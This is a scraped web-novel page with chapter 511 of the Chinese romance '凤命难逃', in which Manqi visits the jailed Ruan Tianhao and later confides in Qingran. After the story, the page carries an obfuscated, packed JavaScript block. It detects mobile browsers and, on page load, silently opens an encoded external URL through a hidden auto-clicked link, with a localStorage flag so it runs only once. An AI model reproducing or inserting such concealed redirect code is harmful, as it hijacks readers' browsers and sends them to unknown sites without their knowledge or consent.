第五文学网 > 言情小说 > 凤命难逃 > 第五百一十一章 曼绮探监(下)

第五百一十一章 曼绮探监(下)

    曼绮的话虽音量不大,却字字锥心,直插阮天浩心头。他不敢置信地看着她,没有想到她竟会说出“黄泉路上,我不会让你孤单成行”这样的话。

    曼绮见他没有反应,就像是没有听见她的话一样,嘲讽的笑绽开在唇畔。

    而这时,狱卒已经走到面前,恭敬地对她说:“郡主,时辰到了,您该离开了。”

    曼绮点头,收回视线,指了指仍旧拉扯着自己衣角的手,说:“我挣脱不开。”

    狱卒见状,毫不客气地拿着刀托便砸向阮天浩的手背,喝道:“还不放手!不要敬酒不吃吃罚酒!”狱卒心里明白,这个人是必死无疑,所以从来都不会客气。

    那力道之大,令阮天浩本能地松开了手,他吃痛地闷哼一声,目光似利箭一般看向狱卒。

    狱卒眼睛一瞪,高声呵斥:“看什么看!看什么看!你以为自己还是曾经的少爷吗?将死之人还敢在这儿给我吹胡子瞪眼,我看你是活得不耐烦了!”

    说话间又死命地打了他几下,这样的力道若是在从前,阮天浩连眉头都不会皱一下。但今非昔比,那痛感令他有些吃不消,却仍咬紧牙关,不肯再哼一声。

    曼绮在一旁站着,听着那一声声的闷响,忍不住蹙眉,双手无意识地攥紧。他虽没有流露,但她看得出来,那一下下痛击,是令他吃不消的。若是在从前,她一定会毫不犹豫地冲过去,哪怕知道于事无补,哪怕知道螳臂当车,也不会见死不救。可现在,即便心隐隐抽痛,终究是没有反应。

    可那狱卒显然是不满意阮天浩的反应,下手又重了几分。最后那一下,朝着他的脸颊狠狠砸过去。几乎是立刻,他唇角溢出血丝来。

    “狱卒大人。”曼绮终于忍不住开口,“皇后娘娘嘱咐了石海在外面等着我,麻烦你先送我出去吧。”

    提及石海,狱卒猛地回过神来,不敢再耽搁。于是凶狠地冲阮天浩吼道:“你小子就是欠打!等着我送了郡主出去,再回来收拾你!”

    曼绮的眼角扫过阮天浩,没有留恋地转身。

    阮天浩一手撑着铁栏杆,拼命忍住低咳,冲着曼绮的背影大声道:“曼绮,你还真是我阮天浩见过的最愚蠢的女人!从前你一直横在我与岚儿中间,这一次,终于没有你,我和岚儿也终于可以如愿在一起!请你别再恬不知耻地缠着我!”最后那一句话,他几乎是用尽全力地吼出来。

    曼绮的身形微顿,低垂下眼睑,轻声道:“谢谢你的提醒,我不会打扰你们团聚。”

    阮天浩目不转睛地看着她的背影一步一步消失在自己眼前,直至再也看不见。他终于忍不住一口血喷出来,随即剧烈地咳嗽,颓然地跌倒在地上……

    大内监牢外,石海见曼绮出来,上前一步道:“曼绮郡主,走吧,我送您回去。尘夫人还等着您呢。”

    曼绮微微一笑,点头道:“好,我们回去吧。”

    逍遥谷内,清然不顾身怀有孕,执意要等着曼绮回来。夜尘拗不过她,只得陪在身边。直到亥时三刻,方才见曼绮跟在石海身后回来。清然面露微喜,迎上前去:“怎么样?该说的都说了吗?”

    曼绮藏着心思,轻轻点头,随即担忧地说:“清然,你怎得还不休息?如今腹中怀有孩儿,该好好休息才是。”

    夜尘上前,附和道:“这下好了,曼绮回来了,你也该回去睡觉了吧?”

    清然本想询问下细节,却碍于天色太晚,只得说:“那我先回去了。曼绮,明日白天我再看看你。”

    曼绮笑着说:“明日我去看你吧。”

    送走了清然,曼绮回到房间,胡乱洗漱之后,便躺在床上,怔怔发呆。耳边还回响着他冷酷无情的话语,眼前却好似又出现了他被狱卒毒打至呕血的画面,她几乎是抑制不住地瑟缩了一下,连忙紧闭双眼,似乎这样一来就看不见那画面似的。然而,那一幕却历历在目,让她无处可逃。

    曼绮长长地叹口气,用被子将头蒙住,如鸵鸟般的自欺欺人。面对这样的自己,她忍不住在心底狠狠骂着,太没出息!人家已经将话说到那地步,一丝脸面都不给她留,还有什么好想的?

    是夜,曼绮在床上辗转反侧,难以成眠。后来迷迷糊糊间,也不知是什么时辰,才沉沉睡去。

    梦境里,混乱不堪,令她毫无头绪,唯有他的那句“请你别再恬不知耻地缠着我”一遍一遍回响……

    不堪被扰,她猛地坐起身来,许久后才发现,自己竟然泪脸满面……

    她望一眼尚未有光亮的天际,心知时辰还早,却也无法再入睡。如此一夜,满脑子都是那个薄情寡幸的男人。曼绮苦笑着想,为何要如此为难自己呢?何苦要为了一个心里从来没有自己的男人黯然神伤?

    可是……

    难道之前这一两个月的体贴与维护都是她的错觉吗?难道他的转变都是自己一厢情愿地理解吗?难道她从头到尾都会错了意吗?她分明能感受到来自他的体贴啊!还有雷阳的死,难道不是因着要维护自己吗?

    不再往下想,越是沉溺在这些问题上,越是烦恼纠结。反正也即将天人永隔,想那么多做什么?

    就这样,一直熬到了天亮,她几乎是迫不及待地起床。站在窗边,看着天边一点点跳跃出来的太阳,从来没有这么期盼过天亮!夜深人静时,难免胡思乱想,还是白天好,可以让自己忙碌起来,没时间去伤感,也没时间去想那些恼人的人与事。

    按着时间差不多了,曼绮往尘心居的方向走。她告诉自己,无论昨日的结局如何,总是要去郑重地向清然道谢。自打自己的心思被清然窥破,便不顾怀有身孕地为自己奔走。对曼绮来说,清然大概是除了涟儿外,身边唯一的朋友。所以现在心里如此憋闷,实在也是需要一个宣泄的人。

    尘心居呢,清然正在用早膳,曼绮便去了。夜尘见状,心下了然,体贴地起身,道:“正巧曼绮来了,可以陪着清然说说话,解解闷,我手头还有些事要忙,就不打扰你们了。”说罢,又俯下身去,贴着清然尚平坦的小腹,低声呢喃着什么。随即,站直身体,看着清然,柔声道,“我已经同小家伙说好了,一定要乖乖地陪着娘亲。”

    曼绮羡慕地站在一旁,见清然满面幸福,目送夜尘离开后,方才转身看她,关切地问:“昨夜一切可还顺遂?”

    “嗯。”曼绮点头,“清然,这次的事多亏了你和皇后娘娘。皇后娘娘那儿我大概一时半会也没有时间去道谢,唯有拜托你,替我向娘娘致谢。”

    清然闻言,薄责:“你瞧你说得什么话,这么见外!”

    曼绮笑一笑,没有多说,安静地坐在一旁。

    清然向来心思细腻,见状,小心地问:“怎么?你同阮天浩之间聊得不愉快?”

    “谈不上什么愉快不愉快,只是再一次显示出我的愚蠢罢了。”曼绮苦笑着说道。

    清然拧眉:“什么意思?他指责你?为了背叛一事?”除此之外,她想不透曼绮还有哪方面做的不好。说实话,最初她听闻曼绮的想法后,是不赞同的。毕竟在清然看来,阮天浩就是个十恶不赦的人,无半分可取之处。可劝阻的话到了嘴边,却被曼绮哀求的眼神可生生噎住。

    说到底她不是当事人,许多事情并不能看得那么真切。也许阮天浩真有改变也未可知,若是一味拦着不让曼绮与他见面,只怕会令曼绮留下终身的遗憾。

    曼绮摇头,轻声说:“他并未提及背叛一事,只是更清晰地让我明白,他的心里从未有过我……”曼绮将昨夜发生的事,一五一十地说与清然听,问,“你说,这份耻辱,可不是我自己讨的?”

    清然听完,倒是默了良久。阮天浩的反应出乎了她的意料,一味地强调他并不爱曼绮,反倒有些刻意。若是真无心,大可不必反复强调。毕竟曼绮不是个痴缠之人。

    突然,清然抓住曼绮方才的话,问:“你还告诉了他你动过殉情的念头?”

    “那又如何?人家全然不在意。”曼绮凄苦的语气令人闻之不忍。

    清然握住她的手,温柔道:“既如此,就不必再去想他。你还年轻,大朗王朝又素有改嫁的习俗。到时候让夜尘为你寻个好人家,下半生也算有个依靠。”

    曼绮笑笑,没有答话,又沉浸在自己的心思里。

    倒是清然看向曼绮的眼光中多了一丝沉思……

    若说从前,她对阮天浩可谓是半分好感也没有,甚至是想处之而后快。可在这一刻,她竟有些欣赏他。清然如今是当局者迷,一叶障目,但她不会,她头脑很清醒,自然也有些了解阮天浩的心思。不过既然这本是阮天浩的意思,她自然也是乐见其成的。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))